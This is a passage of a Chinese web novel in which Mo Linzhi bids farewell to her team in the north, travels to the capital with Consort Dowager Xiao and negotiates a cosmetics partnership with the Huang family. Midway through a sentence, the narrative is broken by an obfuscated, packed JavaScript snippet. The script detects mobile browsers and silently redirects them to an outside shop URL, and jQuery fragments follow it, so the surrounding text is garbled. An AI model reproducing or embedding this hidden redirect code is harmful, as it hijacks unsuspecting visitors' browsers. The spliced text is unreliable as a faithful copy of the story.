他们就像《见闻》里的一份子，和大家拿一样的工钱，接一样的项目，毫无藏私。可以说，这半年多的经验，比他们之前几年加起来还要多。 不只是经商之道，还有为人处世。 杜衡上前一步，代表大家发出邀请：“莫管事，要不，给我们一个好好道别的机会吧？我们去寻味斋聚个餐怎么样？” 莫林知摇了摇头：“你们自己聚吧，我恐怕是抽不出时间的了。”说完见他们一个个神色黯然的样子，不由笑道，“行啦，不说道别，是因为我们还会再见。祝你们各自安好，前程可期。” “也祝您万事顺心。”众人齐声道。 “谢谢~走吧走吧~”莫林知挥挥手，一副不耐烦赶人的样子，也驱散了这院子里离别的伤感。大家收起小儿女姿态，学着她的样子，郎朗大方地告辞。 目送他们一个个离开，莫林知回到会议室，继续完成最后一点收尾。只是看着笔下严谨细致的规划，写着写着就忍不住回想起刚才这里的每一幕。 在北境的最后一天，她和亲手挑选培养的得力部下一起，给最后一仗拉开了一个完美序幕。 挺好！ 121. 入京 次日一早，大部队就动身了，莫林知不想张扬，就和颜丽那辆一起缀在了队伍末端。 出城时，几乎全城百姓都在沿街相送，将道路两边的路和楼都占得死死的，队伍所到之处，百姓纷纷下跪，山呼万岁。隔着车帘的缝隙，莫林知清晰看到他们眼中的热泪和不舍，但不管怎样，这个国家新上任的皇帝是庇佑了他们的萧衍，对于这一点，他们是庆幸的。 北境，自开朝以来就是流放之处，寒风刮人骨，外敌要人命，从不曾一日安宁。老肃王分封北境后，这里的军队□□练起来了，土地被开垦出来了，军队带着百姓一起打猎······渐渐地，别人眼中的“不毛之地”被另一个美好的词所替代，那就是“安居乐业”。 再后来，老肃王死了，他们以为北境就要完了，没想到，新任肃王青出于蓝，大力发展经济贸易，居然让这块地方和“繁华”俩字挂上了钩。 年轻人可能还没什么感觉，那些上了年岁的古稀老人，给他们一百个念头他们也不会想到，自己在北境还能活到这个年纪。哪怕就是现在立时死亡，他们也满足啦，能含笑九泉了。 所以萧衍的车马所到之处，这些人，都真心实意地磕着头，献上自己最诚挚的祝福——肃王庇佑了这方水土几十年，他们无以为报，只能以最虔诚的方式，祈求这位帝王此后一帆风顺，万寿无疆！ 队伍慢慢行至城门，莫林知眼看着那道厚实的城强靠近又远去，她忍不住探出头，向后张望，想再多看城内一眼。 但是没用，哪怕她的车子坠在尾端，后面也还是层层叠叠的军马，将所有视线挡得死死的。 莫林知缩回头，脑子里不期然就出现一句话：不问来路，不问归途。 眼前突然出现一杯水，她回神，看着情绪不错的晚香，忍不住奇怪：“离开生活这么多年的地方，你倒是半点不伤心。” “可能因为我是没有根的人吧。”晚香笑笑，半点没有伪饰的意思，“您知道我是逃灾北上的吧？逃灾之前，我和家人、朋友都生活在京城附近的一个村子里。” “那你是京城人？”莫林知惊讶。 谁知晚香听了，也摇了摇头：“我听说，一个人是哪里人，要看你扎根在哪。这个根不是你的房子、工作，而是你的家人、亲戚、朋友······有了这些，你就有了根，有了生活。受了委屈可以和家里人说，烦闷了可以找小姊妹闲聊瞎逛······” 说到这里，她眼中似乎浮现出一点水光，但转瞬即逝，难以辨析。 “莫管事，当年北上逃难，我的家人和朋友都已经死在了路上，我没有根，我也哪里人都不是。” 莫林知闻言，放下茶杯，转身给了她一个拥抱。 “既然没有根，那就做无拘无束的风，遍赏河山，遍尝美食。晚香，对某些人而言，命运似乎总是伴随苦难，但苦难过后，也许是一段与众不同的人生。” 晚香勾唇，回抱住这个善良的主子，笑道：“我知道，所以我才想跟着您一起出去走走，看看这万千小世界。” 莫林知从她的声音中听出一种豁达，心里感慨着她的坚强，放心地松开了这个怀抱。两人相视一笑，为她们接下来的共同目标而欢庆。 车子一路走走停停，速度不慢不快，莫林知在躲了萧太妃好几天后也终于被人邀请上了鸾驾，一起用餐闲聊，偶尔还会叫上后面的颜丽一起打牌。 知道了她的选择，萧太妃的态度依然没有半点变化，私下还悄悄给了她一块玉珏，说是当年先皇给每个皇子特地打造的，用了上好的暖玉，刻着鸾凤和鸣的图案，因为老肃王行三，所以玉珏上还有个三字形的祥云。 这件事，几乎禹朝大小官员都知道，所以莫林知拿着在外行走，万一遇上什么，还能有个急救用处。 而对她想撂挑子走人的想法，萧太妃很是理解，她表示：“这世上有千万种人，就有千万种活法。而能力越是出众的，就越不能以常理度之。以你的能力，若是一开始就想离开北境去游山玩水，恐怕也是轻而易举的事情，所以，你愿意帮衍儿这一次，我很感激。” ——不得不说，这样的明事理，真是让人惊讶。 莫林知怔愣了很久，回过神后由衷感叹：“娘娘，您这样的性子，真的很容易吃亏啊······” 这话一出，萧太妃没忍住，噗嗤笑了，就连身边的碧心都忍不住用手帕掩嘴。 这位莫管事怕不是忘了，眼前的人，是天底下最最尊贵的女人，谁吃亏都轮不到她吃亏。 莫林知不傻，当然看懂了她们眼中的意思，只是······她总是觉得，善良的人，总应该获得多些，再多一些。 有些东西，不是金银珠宝就能满足的。 想到此，她眼前就浮现出萧太妃一人孤寂地坐在深宫后院的样子。 心里就堵得慌！ 莫林知突然抓住萧太妃的手，看着她认真保证：“娘娘，后续我每在一个地方安顿好，就接您来住住，松快几天。” “这个好，之前我就说了，要和你一起去游玩天下。那咱说定了，不许食言！”萧太妃点点她的眉心，脸上笑意盎然，有了几分真切。 莫林知重重“嗯”了一声。 差不多半个月的样子，皇城就在眼前了。 虽然萧衍还没加冕，但已经是妥妥的新皇，新皇入城，就不能像他回归北境那样锦衣夜行了，而是全副依仗开路，满朝文武列阵，隆重繁琐得紧。 莫林知不喜欢这些，提前一天告别萧家几人，和颜丽一起离开队伍，先一步入了城。 莫林杰倒是被萧瑾带在了身边，他给出的理由实在让莫林知说不出反对意见来——反正后续也还是要在宫里教养的，不如一步到位，省得挪来挪去，耽误了功课。 功课一出，犹如泰山压顶，无法反抗。 莫林知征求了弟弟的意见，见他自己不排斥，就放手了。 先一步进城的莫林知带着颜丽刚抵达萧衍提前准备的小院，黄家的请帖就到了。想想接下来的繁多事务，她也懒得一拖再拖，直接回了帖子，约定当晚和颜丽一起登门。 而登门后才知道，原来那个小院还是黄家给找的。 素未谋面的黄家家主态度很谦和，一落座就关心了一下莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13769514|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林知对小院吃住的评价，委婉表示：“这要是之前，京城靠近皇宫的院子还真不好找，不过最近被清算的人多，就有了选择余地。我听志真说你喜静，不爱奢华，就擅作主张选了现在这个。两进的院子，面积虽不大，但景色精致讨巧，还算能入眼。” 莫林知乍一听愣了一下，随即反应过来，恐怕是萧衍交代的。 所以接下来，对黄家家主奉上的房屋地契，她就从善如流地收下了。 而且，这黄家当真是识趣得很，派人收拾了房子却半点不提要送下人之类的事情，只指点了她们要是缺人手，应该去找哪家的人牙子比较靠谱。 一番做派，真真是让人如沐春风，怎么舒服怎么来。 莫林知和颜丽也不是趾高气昂的性子，当下双方就进入了一个十分融洽的氛围。作为质子的黄志卓和黄志见还得过两天才能到，所以“购物节”相关的资料她留下了但没细说，准备等人到齐再一起沟通。不过，“丽颜”的合作还是可以聊的。 早有打算的莫林知上门时还让颜丽将自家产品已上市和未上市的都带了来。正好今天这场宴请，黄家家主考虑到她的女儿身，也让各方女眷一起出席了，东西有没有市场前景，从这些女眷的双眼放光爱不释手的反应就知道！ 见她们是真心喜欢，莫林知心里更有了把握，对上首的黄家主说：“产品研发算是颜丽的独家投入，若黄家有意向，那您这边的人脉资源就算您的独家投入，剩下的，工坊建立、商铺投入，人员雇佣等等，按比例出资。当然，为了保证后续的长远稳定，运营决策权必须在颜丽手上。” 说到“运营”，莫林知顺便介绍了一下他们对‘丽颜杯’的设想。 黄家人做了几百年的生意了，在东西拿出来时就知道这门合作可行！而后，在听到三方股东其中一个居然是太后，且后续太后还会身体力行地支持‘丽颜杯’的发展时，就知道，这个合作机会，表面看是莫林知和颜丽寻求一个合作伙伴，实则是莫林知对他们黄家的回馈。 或许是回馈黄家当初在质子事情上的鼎力支持，拉了其他人一起下水，免去了北境主动强留质子的尴尬，又或许是感激后续战事中黄家不遗余力地暗中输送粮草和消息。 总而言之，此前的辛苦没有白费，他们黄家，终于又入了新皇的眼了！！！ 想到此，黄家主肉眼可见地振奋了。如果说刚才是客气有礼，那现在，他简直把莫林知当成了自家子侄般看待——毕竟有消息的都知道，生意这块，萧衍是完全放权给了眼前这个看似年轻的小女孩的。 说不定，是她先选择了黄家，黄家才入了新帝的眼！ 抱着合作的心思，黄家家主的态度更谨慎了：“不如这样，这门生意，我们家男儿就不插手了，也交给女眷。后续经营就有劳颜小姐，需要什么支持，颜小姐一句话，我们绝不推辞。” 闻言，莫林知眼中浮现出一丝笑意。 看看，和聪明人说话，果然轻松！ 是嘛，太后作靠，颜丽掌舵，插几个男人进来算怎么回事~女眷出面反而更好套交情！ 这一家子，果然知机！